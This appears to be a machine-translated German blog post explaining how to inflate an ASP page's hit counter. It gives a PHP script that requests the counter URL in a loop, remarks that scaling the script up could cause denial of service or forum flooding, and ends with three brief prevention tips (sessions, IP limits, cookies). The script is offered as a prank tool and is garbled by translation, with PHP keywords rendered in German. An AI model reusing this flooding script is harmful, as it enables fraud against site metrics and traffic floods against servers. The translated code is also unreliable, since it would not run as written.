Heute habe ich versehentlich eine Website gesehen, deren Zähler auf einer statischen Seite aktualisiert werden kann. Als ich den Quellcode öffnete, stellte sich heraus, dass er lautete:
<div align=center><SPAN class=Article_tdbgall>
Autor: Unbekannt Artikelquelle: Meidi.Net
Anzahl der Klicks:
<script language='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
Aktualisierungszeit: 27.05.2005</SPAN>
</div>
Auf die Anzahl der Klicks folgt eine ASP-Datei zur Verarbeitung, also öffne ich diese Datei und schaue mir Folgendes an:
document.write('210');
Richtig, es ist die GetHists.asp-Datei, die ArticleID und verarbeitet Extrahiert die Ergebnisse und gibt die Anzahl der Male aus: document .write('Anzahl der Male'), auf die direkt auf der statischen Seite verwiesen werden kann.
Bösewichte sind schließlich Bösewichte, also dachte ich: Wie kann ich die Anzahl der Klicks schnell erhöhen? Eine manuelle Aktualisierung ist nicht sehr nützlich. Schreiben Sie schnell ein PHP-Programm, um automatisch auf diese Datei zuzugreifen.
Der PHP-Code lautet wie folgt:
<?php
/* access_url.php */
define(SUM, 1000); //Anzahl der erforderlichen Besuche
define(L_TIME, 1000); //Skriptausführungszeit erzwingen
define(S_TIME, 1); //Schlafzeit zwischen jedem Besuch
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 " //Die Adresse, auf die zugegriffen werden soll
set_time_limit(L_TIME);
//Zugriff auf die angegebene URL-Funktion knowsky.com
Funktion access_url($url)
{
if ($url=='') return false;
$fp = fopen($url, 'r') or exit('Open url failedd!');
if ($fp) {
while (!feof($fp)) {
$file = fgets($fp);
echo $file."n<p> </p>n";
}
unset($file);
}
}
//Prüfen
for ($i=0; $i<SUM; $i++) {
access_url($url);
schlafen(S_TIME);
}
?>
Führen Sie das obige Programm aus, dann wird kontinuierlich auf die angegebene URL-Adresse zugegriffen, und natürlich wird die Anzahl der Zugriffe weiter zunehmen, wodurch der Effekt einer Überflutung erzielt wird. Wenn der Datenverkehr groß ist und mehrere Programme zur Ausführung verwendet werden, kann es leicht zu einem Denial-of-Service-Effekt (DoS) kommen. Wenn die andere Partei vorbeugende Maßnahmen ergreift, den Code ändert und ihn an das Forum übermittelt, kann leicht eine Überflutung des Forums erzielt werden.
Präventionsmethoden:
1. Verwenden Sie den Sitzungsmechanismus im Code. Beim Senden wird eine Sitzungs-ID generiert. Wenn der Inhalt gesendet wurde, ist das Bürsten nicht zulässig.
2. Nach der Übermittlung durch den Benutzer wird die IP-Adresse des Benutzers aufgezeichnet. Wenn der Benutzer innerhalb der angegebenen Zeit erneut eine Übermittlung durchführt, ist keine weitere Übermittlung zulässig.
3. Nachdem der Benutzer den Inhalt übermittelt hat, wird ein Cookie auf den Client des Benutzers geschrieben. Wenn der Benutzer erneut sendet, prüfen Sie, ob auf dem Client ein Cookie vorhanden ist, um festzustellen, ob die Übermittlung zulässig ist.
Es gibt viele andere Möglichkeiten, nach denen Sie suchen oder Ihrer Fantasie freien Lauf lassen können, um es besser zu machen.